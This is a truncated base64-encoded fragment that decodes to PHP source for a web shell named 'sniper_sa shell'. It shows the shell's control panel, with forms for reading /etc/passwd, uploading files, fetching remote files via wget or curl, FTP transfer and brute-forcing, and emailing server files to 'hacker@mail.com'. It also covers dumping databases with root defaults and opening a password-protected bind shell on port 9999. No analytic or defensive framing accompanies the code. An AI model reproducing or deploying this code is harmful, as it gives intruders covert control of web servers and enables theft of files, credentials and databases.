KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZihAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwid2l0aFwiPjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d2dldDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiY3VybFwiPmN1cmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdyZW1fZmlsZScsNzgsJ2h0dHA6Ly8nKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX2Rvd24nKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkdW5peCAmJiBAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDg1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfYnJ1dGUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gc3IoMTUsIiIsIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigxNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAxJ10pOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gc25pcGVyX3NhIHNoZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFfb24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0IC49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZVNRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xlPC9vcHRpb24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCJ1c2VyIikpKSk7DQplY2hvIHNyKDM1LGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnZGlmIGlkPWRpZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW1wdHkoJF9QT1NUWydkaWZfbmFtZSddKT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7DQplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfc2VydmVyJ10pPygkX1BPU1RbJ2RiX3NlcnZlciddKTooImxvY2FsaG9zdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnZGJfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hvICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7IFNFTEVDVCAqIEZST00gdXNlcjsgU0VMRUNUIHZlcnNpb24oKTsgc2VsZWN0IHVzZXIoKTsiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4iPC9kaXY+PC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZighJHNhZmVfbW9kZSYmJHVuaXgpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDknXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzk5OTknKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdiaW5kX3Bhc3MnLDE1LCdTbklwRXInKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MyddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpd